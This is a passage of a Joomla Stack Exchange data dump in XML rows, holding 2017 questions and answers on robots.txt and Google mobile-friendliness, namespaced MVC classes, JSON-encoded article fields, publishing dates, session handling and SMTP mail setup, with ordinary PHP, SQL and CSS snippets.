  <row Id="21489" PostTypeId="2" ParentId="21487" CreationDate="2017-09-07T13:26:42.707" Score="1" Body="&lt;p&gt;The link of FFrewin should answer your question. This here is just an additions about the upcoming change in Joomla 3.8. We changed the libraries to namespaces. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your controller should extend then &#xA;\Joomla\CMS\MVC\Controller\BaseController &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the model \Joomla\CMS\MVC\Model\BaseModel &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the views \Joomla\CMS\MVC\View\HtmlView. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find all classes here &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/staging/libraries/src/MVC&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/tree/staging/libraries/src/MVC&lt;/a&gt;. The old classes do still work as we created an alias for them &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/classmap.php#L38&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/classmap.php#L38&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="56" LastActivityDate="2017-09-07T13:26:42.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21490" PostTypeId="1" AcceptedAnswerId="21492" CreationDate="2017-09-07T13:42:57.013" Score="2" ViewCount="1531" Body="&lt;p&gt;Google says my site is not mobile-friendly, though my site is responsive. see the photo below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ger4o.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ger4o.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you see the site is not opening correctly in the preview. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I commented out the following sentences in robots.txt, and the problem was solved.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Disallow: /media/&#xA;# Disallow: /modules/&#xA;# Disallow: /templates/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Kxjb4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kxjb4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know if commenting out these sentences is the wrong way to solve this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do exactly?&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="126" LastEditDate="2017-09-12T20:42:14.347" LastActivityDate="2017-09-16T19:50:02.117" Title="Joomla Robots.txt and Google" Tags="|joomla-3.x|seo|responsive-web-design|google|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21491" PostTypeId="1" AcceptedAnswerId="21494" CreationDate="2017-09-07T18:59:37.137" Score="-1" ViewCount="108" Body="&lt;p&gt;I'm struggling with something that should be really simple. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 modules side by side one displays a widgetkit slideshow the other a googlemap. I want them to display completely inline - i.e. the titles inline and then the top and bottom of the map to be inline with the top and bottom of the images in the slideshow. It doesn't seem to make a difference what height/width I use for the map it will not sit inline with the slideshow? Is there a simple way to specify the module height and to contain the content within those contraints?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website can be found &lt;a href=&quot;http://dominionbodyrepairs.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I be better off using a custom html module covering the full width here or is there a way to do it with css. It is the map that is causing a problem more than anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for any advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-09-08T00:15:09.447" Title="Make 2 module positions the same height" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21492" PostTypeId="2" ParentId="21490" CreationDate="2017-09-07T20:27:09.747" Score="4" Body="&lt;p&gt;Media and Templates folders shouldn't be disallowed at first place. &#xA;GoogleBot now requires access to the css/js of a website in order to understand the design and layout of a website, and these two Joomla folders are the location where most of css/js are located. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it does make sense that Google reported that your website isn't responsive, as it didn't have access to the needed files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if there was a reason for you to disallow media and templates, then you can keep the disallow as is and later on specifically allow access to individual files or subfolders of the above folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info on how to create your robots.txt read here: &lt;a href=&quot;http://www.robotstxt.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.robotstxt.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your information, this how the recent robots.txt file that is shipped with Joomla looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# If the Joomla site is installed within a folder &#xA;# eg www.example.com/joomla/ then the robots.txt file &#xA;# MUST be moved to the site root &#xA;# eg www.example.com/robots.txt&#xA;# AND the joomla folder name MUST be prefixed to all of the&#xA;# paths. &#xA;# eg the Disallow rule for the /administrator/ folder MUST &#xA;# be changed to read &#xA;# Disallow: /joomla/administrator/&#xA;#&#xA;# For more information about the robots.txt standard, see:&#xA;# http://www.robotstxt.org/orig.html&#xA;#&#xA;# For syntax checking, see:&#xA;# http://tool.motoricerca.info/robots-checker.phtml&#xA;&#xA;User-agent: *&#xA;Disallow: /administrator/&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /tmp/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As an example of what I explained above, you can add below the above lines, specifically allow instructions like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Allow: /*.js$&#xA;Allow: /*.css$&#xA;&#xA;Allow: /components/com_YOURDESIRED_COMPONENT/css/&#xA;Allow: /components/com_YOURDESIRED_COMPONENT/js/&#xA;Allow: /components/com_YOURDESIRED_COMPONENT/images/&#xA;&#xA;Allow: /modules/mod_YOURDESIRED_MODULE/css/&#xA;&#xA;Allow: /media/SUBFOLDER/css/A_SPECIFIC_CSS_FILE.css&#xA;&#xA;Allow: /templates/YOURTEMPLATE/css/&#xA;Allow: /templates/YOURTEMPLATE/js/&#xA;Allow: /templates/YOURTEMPLATE/images/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Use Google Webmasters Tools - robots.txt tester to test your robots instructions: &lt;a href=&quot;https://support.google.com/webmasters/answer/6062598?hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.google.com/webmasters/answer/6062598?hl=en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-09-08T06:11:55.940" LastActivityDate="2017-09-08T06:11:55.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21493" PostTypeId="1" AcceptedAnswerId="21495" CreationDate="2017-09-07T23:37:06.287" Score="1" ViewCount="51" Body="&lt;p&gt;I'm trying to retrieve articles from a particular category to display it as a part of some module located on the homepage. So I set states for model and retrieved the items via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$items = $model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I did a var_dump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $items as $item ) {&#xA;&#xA;  var_dump( $item );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is what I find strange (var_dump excerpt):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&quot;images&quot;]=&amp;gt; string(202) &quot;{&quot;image_intro&quot;:&quot;images\/slider\/slider_02.jpg&quot;,&quot;float_intro&quot;:&quot;&quot;,&quot;image_intro_alt&quot;:&quot;&quot;,&quot;image_intro_caption&quot;:&quot;&quot;,&quot;image_fulltext&quot;:&quot;&quot;,&quot;float_fulltext&quot;:&quot;&quot;,&quot;image_fulltext_alt&quot;:&quot;&quot;,&quot;image_fulltext_caption&quot;:&quot;&quot;}&quot; [&quot;urls&quot;]=&amp;gt; string(121) &quot;{&quot;urla&quot;:false,&quot;urlatext&quot;:&quot;&quot;,&quot;targeta&quot;:&quot;&quot;,&quot;urlb&quot;:false,&quot;urlbtext&quot;:&quot;&quot;,&quot;targetb&quot;:&quot;&quot;,&quot;urlc&quot;:false,&quot;urlctext&quot;:&quot;&quot;,&quot;targetc&quot;:&quot;&quot;}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see [&quot;images&quot;] or [&quot;urls&quot;] hold an array but the type is &lt;strong&gt;string&lt;/strong&gt;! So I can't do $item-&gt;images-&gt;image_intro. I can't figure out what am I doing wrong or if it's normal? How can I get the value of image_intro in this case (only by using explode function?) or there is some line of code that I might forgot?&lt;/p&gt;&#xA;" OwnerUserId="11314" LastActivityDate="2017-09-08T02:01:58.033" Title="Joomla getting items via model wrong data type" Tags="|joomla-3.7|model|array|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21494" PostTypeId="2" ParentId="21491" CreationDate="2017-09-08T00:15:09.447" Score="0" Body="&lt;p&gt;You can probably use some custom CSS (see &lt;a href=&quot;https://joomla.stackexchange.com/a/3878/120&quot;&gt;https://joomla.stackexchange.com/a/3878/120&lt;/a&gt; for more details on creating a custom CSS file for your template) like this or similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (min-width:788px)&#xA;  .map-responsive iframe {&#xA;    height: 338px;&#xA;    margin-top: -12px;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-09-08T00:15:09.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21495" PostTypeId="2" ParentId="21493" CreationDate="2017-09-08T02:01:58.033" Score="2" Body="&lt;p&gt;It is a json encoded string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images = json_decode($item-&amp;gt;images);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2017-09-08T02:01:58.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21496" PostTypeId="1" CreationDate="2017-09-08T03:05:35.763" Score="5" ViewCount="540" Body="&lt;p&gt;Now that Joomla 3.7 supports custom fields, can anyone point me to documentation or a YouTube video that outlines how to customize user registration? I assume that additional work is also required to view these fields in user management in the administrative view? If so, what needs to be done?&lt;/p&gt;&#xA;" OwnerUserId="7739" LastActivityDate="2021-12-30T04:47:31.980" Title="How to customize user registration in Joomla 3.7?" Tags="|joomla-3.x|plugin|user|registration|joomla-3.7|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21497" PostTypeId="2" ParentId="16682" CreationDate="2017-09-08T04:34:29.837" Score="2" Body="&lt;p&gt;I stumbled upon the same problem and here is what I tried and worked for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer = JFactory::getMailer();&#xA;$mailer-&amp;gt;setSender($sender);&#xA;$mailer-&amp;gt;addRecipient($recipient);&#xA;$mailer-&amp;gt;isHtml($is_html);&#xA;$mailer-&amp;gt;CharSet  = 'UTF-8';&#xA;$mailer-&amp;gt;Encoding = 'base64';&#xA;$mailer-&amp;gt;setSubject($subject);&#xA;$mailer-&amp;gt;setBody($body);&#xA;$mailer-&amp;gt;AltBody = $alt_body;&#xA;$send = $mailer-&amp;gt;Send();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the key point here is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer-&amp;gt;AltBody = 'Your alternate text body here';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will be sent with the html version of the mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&#xA;Happy coding!&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2017-09-08T04:34:29.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21499" PostTypeId="2" ParentId="21496" CreationDate="2017-09-08T13:05:17.843" Score="0" Body="&lt;p&gt;As of now Content &amp;amp; Contact components are supporting custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/What_components_are_supporting_custom_fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields/What_components_are_supporting_custom_fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-09-08T13:05:17.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21500" PostTypeId="1" CreationDate="2017-09-08T13:20:20.863" Score="5" ViewCount="50" Body="&lt;p&gt;I want to get the HTML source of an old version of an article from the version history without restoring it. I can only seem to get a rendered preview or a change list in HTML from the compare option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="11522" LastEditorUserId="126" LastEditDate="2017-09-09T16:58:32.593" LastActivityDate="2017-09-10T08:02:59.217" Title="Getting the source code of an older version of an article?" Tags="|joomla-3.x|articles|com-content|versions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21501" PostTypeId="1" AcceptedAnswerId="21506" CreationDate="2017-09-08T14:27:38.723" Score="0" ViewCount="217" Body="&lt;p&gt;I am new to Joomla and frankly feel like everything works the exact opposite of how I think it should... with that in mind:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying to assign Files to Categories in DOCman for longer than I want to admit. Is this a possibility? I have looked at some of DOCman's documentation and it has not clarified anything. I thought that a Document was basically a virtual version of a file, meaning I'd have a 1:1 ratio of Files to Documents, but I have zero Documents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to move or copy my Files into Categories? Or do I need to upload my Files/Documents directly into Categories? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANY direction/help/criticism/personal-attacks would be appreciated. You are my only hope short of my intellect, and that seems to be at direct odds with DOCman...&lt;/p&gt;&#xA;" OwnerUserId="11523" LastActivityDate="2017-09-09T23:27:07.960" Title="How to assign Files to Categories in DOCman?" Tags="|joomla-3.x|component|extensions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21502" PostTypeId="1" AcceptedAnswerId="21504" CreationDate="2017-09-08T14:56:30.413" Score="2" ViewCount="576" Body="&lt;p&gt;I've noticed that articles have very handy &lt;code&gt;Start Publishing&lt;/code&gt; and &lt;code&gt;Finish Publishing&lt;/code&gt; fields that will automatically (at least how I understand it) published or unpublish articles based entirely off of those two fields. I was wondering if anyone could explain where/how exactly this feature works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin that checks and updates the articles in the background? Is the article's state updated when fetched by &lt;code&gt;JModelList&lt;/code&gt; or &lt;code&gt;JModelItem&lt;/code&gt;? Is a MYSQL trigger created that handles it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really not sure where to look, so I haven't really found anything.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastEditorUserId="2081" LastEditDate="2017-09-08T17:34:17.393" LastActivityDate="2019-06-07T13:00:59.017" Title="How does the Finish publishing feature for articles work?" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21503" PostTypeId="1" AcceptedAnswerId="21509" CreationDate="2017-09-08T15:51:06.620" Score="0" ViewCount="37" Body="&lt;p&gt;I am updating Joomla component to Joomla 3x &#xA;but getting error on code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code Line:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$postData = $this-&amp;gt;dr_parameters-&amp;gt;app-&amp;gt;session-&amp;gt;get('errorPostData', array() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0 Call to a member function get() on null&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replaced the&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;previous code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRequest::get('post');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;get('post');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is this correct?&lt;/p&gt;&#xA;" OwnerUserId="11518" LastEditorUserId="126" LastEditDate="2017-09-09T15:59:46.817" LastActivityDate="2017-09-11T09:19:55.800" Title="Converting joomla 2x component compatible to joomla 3x" Tags="|joomla-3.x|php|custom-component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21504" PostTypeId="2" ParentId="21502" CreationDate="2017-09-08T19:08:40.880" Score="4" Body="&lt;p&gt;Nothing needs to be changed or updated in the background when the &lt;code&gt;Start Publishing&lt;/code&gt; or &lt;code&gt;Finish Publishing&lt;/code&gt; dates are crossed. Let me explain how it works; I'll try not to be too technical. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you request a page that loads an article Joomla will get the details about that article from the database. As it gets those details it also checks to see if you're allowed to view that article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not allowed to view the article then no data is returned and the page displays an error or something (on pages that load multiple article, such as the maybe the homepage, it simply wont show that article).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what are some things Joomla checks for to see if it should give you access to that article? If you were a normal guest visitor checking a normal article here are some things that would be checked before returning the article's data:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Is the article's &lt;code&gt;Status&lt;/code&gt; set to &quot;Published&quot;?&lt;/strong&gt; &lt;br&gt;This is the &quot;Published&quot;, &quot;Unpublished&quot;, &quot;Archived&quot;, &quot;Trashed&quot; option you have for articles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Is the article's &lt;code&gt;Access&lt;/code&gt; set to &quot;Public&quot;?&lt;/strong&gt; &lt;br&gt;This determines which user groups are allowed to view the article, &quot;Public&quot; means everyone.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Is the current date/time greater than the &lt;code&gt;Start Publishing&lt;/code&gt; date OR is the &lt;code&gt;Start Publishing&lt;/code&gt; date empty (&quot;0000-00-00 00:00:00&quot;)?&lt;/strong&gt; &lt;br&gt;So if you visit the site at &quot;2017-09-09 10:36:10&quot; (your Joomla local time) and the &lt;code&gt;Start Publishing&lt;/code&gt; date is set to a date less than that date (or the &lt;code&gt;Start Publishing&lt;/code&gt; date is &quot;0000-00-00 00:00:00&quot;) then the article can be viewed. Otherwise, nope.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Is the current date/time less than the &lt;code&gt;Finish Publishing&lt;/code&gt; date OR is the &lt;code&gt;Finish Publishing&lt;/code&gt; date empty (&quot;0000-00-00 00:00:00&quot;)?&lt;/strong&gt; &lt;br&gt;So if you visit the site at &quot;2017-09-09 10:36:10&quot; (your Joomla local time) and the &lt;code&gt;Finish Publishing&lt;/code&gt; date is set to a date greater than that date (or the &lt;code&gt;Finish Publishing&lt;/code&gt; date is &quot;0000-00-00 00:00:00&quot;) then the article can be viewed. Otherwise, nope.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the article's settings pass all those checks then the article can be displayed to the user. Otherwise, it can't be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These checks are done (or are supposed to be done) for any page, component, or module that requests article data for display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that's why nothing needs to be changed when the &lt;code&gt;Start/Finish Publishing&lt;/code&gt; dates are crossed, because checking those dates are part of the process every time an article is retrieved from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;br&gt;&#xA;One thing that does affect this is caching. If you have caching turned on then articles may become available or unavailable due to the &lt;code&gt;Start/Finish Publishing&lt;/code&gt; setting but the cached pages wont show that fact until they expire or are cleared manually. That may result in pages that are live not showing up right away when their &lt;code&gt;Start Publishing&lt;/code&gt; date is reached and then may remain on listing pages (such as the homepage or a &lt;code&gt;Category Blog&lt;/code&gt; layout page) a little while after they're &lt;code&gt;Finish Publishing&lt;/code&gt; date is reached.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2017-09-16T12:48:17.857" LastActivityDate="2017-09-16T12:48:17.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21505" PostTypeId="2" ParentId="14652" CreationDate="2017-09-08T21:08:39.840" Score="1" Body="&lt;p&gt;Here is how I do this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In article options turn off &quot;show Read More&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the article above the read more hr tag add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;read-more&quot;&amp;gt;&amp;lt;a href=&quot;your page url&quot; class=&quot;btn&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save and close article. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="11524" LastEditorUserId="1520" LastEditDate="2017-09-09T06:34:14.297" LastActivityDate="2017-09-09T06:34:14.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21506" PostTypeId="2" ParentId="21501" CreationDate="2017-09-08T23:51:11.177" Score="1" Body="&lt;p&gt;Prior to Docman 3.1 you could select files and then click 'create documents' to make document records for all your files and categorise them at the same time.  This is now changed as documented here:&#xA;&lt;a href=&quot;http://help.joomlatools.com/article/265-docman-3-0-to-docman-3-1#replacement-of-the-create-documents-flow&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://help.joomlatools.com/article/265-docman-3-0-to-docman-3-1#replacement-of-the-create-documents-flow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it seems you have to make the documents at the same time as uploading the files. Furthermore the files interface will probably disappear entirely in an upcoming release.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2017-09-09T23:27:07.960" LastActivityDate="2017-09-09T23:27:07.960" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21507" PostTypeId="2" ParentId="21483" CreationDate="2017-09-10T00:08:38.083" Score="0" Body="&lt;p&gt;Solved it.&#xA;I found the code for referencing the articles in a category here : &lt;a href=&quot;https://stackoverflow.com/questions/19239605/how-to-get-article-from-the-specific-category-joomla&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I created a custom module for the On Now shows (category 79):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('*')&#xA;-&amp;gt;from($db-&amp;gt;quoteName('#__content'))&#xA;-&amp;gt;where($db-&amp;gt;quoteName('catid') . ' = 79 and ' . $db-&amp;gt;quoteName('state') . ' = 1 and ' . $db-&amp;gt;quoteName('featured') . ' = 1');&#xA;$db-&amp;gt;setQuery($query);&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;foreach ( $rows as $row ) {&#xA;echo $row-&amp;gt;fulltext , '&amp;lt;br&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11514" LastActivityDate="2017-09-10T00:08:38.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21508" PostTypeId="2" ParentId="21500" CreationDate="2017-09-10T08:02:59.217" Score="3" Body="&lt;p&gt;Revisions are stored in the &lt;code&gt;#__ucm_content&lt;/code&gt; table. The version number is the &lt;code&gt;core_version&lt;/code&gt; field. If you want, for example, to get the body of the 2nd reversion of the article with ID 123, you issue the following query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `core_body` FROM `#__ucm_content` WHERE `core_content_item_id` = '123' AND `core_version` = 2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-09-10T08:02:59.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21509" PostTypeId="2" ParentId="21503" CreationDate="2017-09-10T08:10:10.760" Score="0" Body="&lt;p&gt;Try using the JSession class to get the session data. Change this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$postData = $this-&amp;gt;dr_parameters-&amp;gt;app-&amp;gt;session-&amp;gt;get('errorPostData', array() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$objSession = JFactory::getSession();&#xA;$postData = $objSession-&amp;gt;get('errorPostData', array());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To set a session the value of a session variable, you can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$objSession = JFactory::getSession();&#xA;$objSession -&amp;gt;set($key, $value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7867" LastEditorUserId="7867" LastEditDate="2017-09-11T09:19:55.800" LastActivityDate="2017-09-11T09:19:55.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21510" PostTypeId="2" ParentId="16741" CreationDate="2017-09-10T13:09:01.907" Score="0" Body="&lt;p&gt;I had the very same trouble for a couple of days, I went through all this nonsense advice I found online and still couldn't figure out what's going on.&lt;/p&gt;&#xA;&lt;p&gt;Is all down to your server.  I am using Joomla 3.7.5.&lt;/p&gt;&#xA;&lt;p&gt;Just go to Global Configuration and Sever, on right hand side just below database  is Mail Setting this where all this problem lies... From Email need's to be the exactly email you have register in your sever scroll down to Mailer choose SMTP next SMTP Host need to check with your server something like (mailout.o**e.com) next comes the SMTP Port this number again is provided by the by the server now come down to SMTP Security need to carefuller to choose the STARTTLS. I did chose  SSL/TLS and it didnt work and couldnt figure out why. So last but not least come to SMTP Username and SMTP Password which are the from the above (From Email) and your password, and WUALLA working fine&lt;/p&gt;&#xA;" OwnerUserId="11528" LastEditorUserId="12352" LastEditDate="2023-01-14T23:19:51.470" LastActivityDate="2023-01-14T23:19:51.470" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21511" PostTypeId="1" CreationDate="2017-09-10T21:52:28.783" Score="1" ViewCount="300" Body="&lt;p&gt;I can't figure out how to get Smart Search to work. I believe I've enabled it appropriately and I've got a small sample set indexed. But anytime I type a search I just get a internal 500 error. Apache logs show:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;GET /component/finder/search?q=not&amp;amp;Itemid=4816 HTTP/1.1&quot; 500 31&#xA;  &quot;&lt;a href=&quot;https://www.mysite.com/knowledge-base&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mysite.com/knowledge-base&lt;/a&gt;&quot; &quot;Mozilla/5.0 (Windows NT 10.0;&#xA;  Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)&#xA;  Chrome/60.0.3112.113 Safari/537.36&quot; port:443&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried checking permissions on folders and anything else that might be blocking this search (such as Admin Tools). No luck. Any 